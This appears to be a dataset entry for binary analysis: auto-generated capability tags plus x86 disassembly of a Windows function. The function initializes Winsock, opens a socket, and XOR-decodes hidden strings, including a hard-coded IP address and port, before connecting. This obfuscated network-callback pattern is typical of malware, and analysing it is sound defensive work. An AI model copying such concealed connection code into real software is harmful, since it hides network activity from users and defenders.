Function at 0x401190
Capabilities:
Convert ip address from string
Create tcp socket
Create udp socket
Encode data using xor
Initialize winsock library

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4331a8
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x1f0
mov eax, dword [0x43c040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [ebp - 0x1c0]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401254
movaps xmm0, xmmword [0x438e10]
xor ecx, ecx
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d4], 0xa6b9eda9
mov dword [ebp - 0x1d0], 0xb0bda2be
mov dword [ebp - 0x1cc], 0xdcf4bf
mov byte [ebp - 0x1c8], 1
nop
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x1e4], al
inc ecx
cmp ecx, 0x1b
jb 0x401220
lea eax, [ebp - 0x1e4]
mov byte [ebp - 0x1c8], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
xor al, al
jmp 0x4014f4
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
jne 0x4012cf
movaps xmm0, xmmword [0x438e10]
xor ecx, ecx
movups xmmword [ebp - 0x1e4], xmm0
mov dword [ebp - 0x1d4], 0xa0bdeda9
mov dword [ebp - 0x1d0], 0xa7b7bab3
mov dword [ebp - 0x1cc], 0x100dff5
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x1e4], al
inc ecx
cmp ecx, 0x1a
jb 0x401295
lea eax, [ebp - 0x1e4]
mov byte [ebp - 0x1c9], 0
push eax
push dword [0x43c09c]
call fcn.00401e20
add esp, 8
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor al, al
jmp 0x4014f4
mov eax, 2
push 0x12e7
mov word [0x43c6d0], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [0x43c6d2], ax
xor ecx, ecx
mov dword [ebp - 0x1d8], 0x918c8b8d
mov dword [ebp - 0x1d4], 0xf1ecf8f1
mov dword [ebp - 0x1d0], 0xf4e8f0f0
mov word [ebp - 0x1cc], 0xfd
mov byte [ebp - 0x1ca], 1
nop dword [eax + eax]
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x1d8], al
inc ecx
cmp ecx, 0xd
jb 0x401320
push 0x43c6d4
lea eax, [ebp - 0x1d8]
mov byte [ebp - 0x1ca], 0
push eax
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, esi
call fcn.00401520
movaps xmm0, xmmword [0x438d80]
xor ecx, ecx
mov byte [esi + 4], al
movups xmmword [ebp - 0x1e0], xmm0
mov dword [ebp - 0x1d0], 0x81818498
mov word [ebp - 0x1cc], 0x100
nop dword [eax]
mov al, cl
sub al, 0x44
xor byte [ebp + ecx - 0x1e0], al
inc ecx
cmp ecx, 0x14
jb 0x401380
xorps xmm0, xmm0
mov byte [ebp - 0x1cb], 0
lea ecx, [ebp - 0x1e0]
mov dword [ebp - 0x1ec], 0
movups xmmword [ebp - 0x1fc], xmm0
mov dword [ebp - 0x1e8], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4013c0
sub ecx, edx
lea eax, [ebp - 0x1e0]
push ecx
push eax
lea ecx, [ebp - 0x1fc]
call fcn.00401ce0
lea eax, [ebp - 0x1fc]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x2c]
mov ecx, esi
push eax
call fcn.00401650
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1e8]
cmp ecx, 0xf
jbe 0x401435
mov edx, dword [ebp - 0x1fc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40142b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40142b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00432310
add esp, 8
cmp dword [ebp - 0x18], 0xf
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1ec], 0
cmova eax, dword [ebp - 0x2c]
push eax
push dword [0x43c09c]
mov dword [ebp - 0x1e8], 0xf
mov byte [ebp - 0x1fc], 0
call fcn.00401e20
mov edi, dword [ebp - 0x2c]
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
add esp, 8
cmp dword [ebp - 0x18], 0xf
cmova ecx, edi
push 0x15
sub esp, 8
call fcn.00401c10
add esp, 0xc
cmp eax, 0xffffffff
je 0x4014b0
mov eax, dword [esi]
cmp eax, 0xffffffff
je 0x4014a7
push eax
mov byte [esi + 4], 0
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edi, dword [ebp - 0x2c]
mov byte [ebp - 0x1c1], 0
jmp 0x4014b9
mov al, byte [esi + 4]
mov byte [ebp - 0x1c1], al
mov eax, dword [ebp - 0x18]
cmp eax, 0xf
jbe 0x4014ee
lea ecx, [eax + 1]
mov eax, edi
cmp ecx, 0x1000
jb 0x4014e4
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4014e4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edi
call fcn.00432310
add esp, 8
mov al, byte [ebp - 0x1c1]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0043207c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret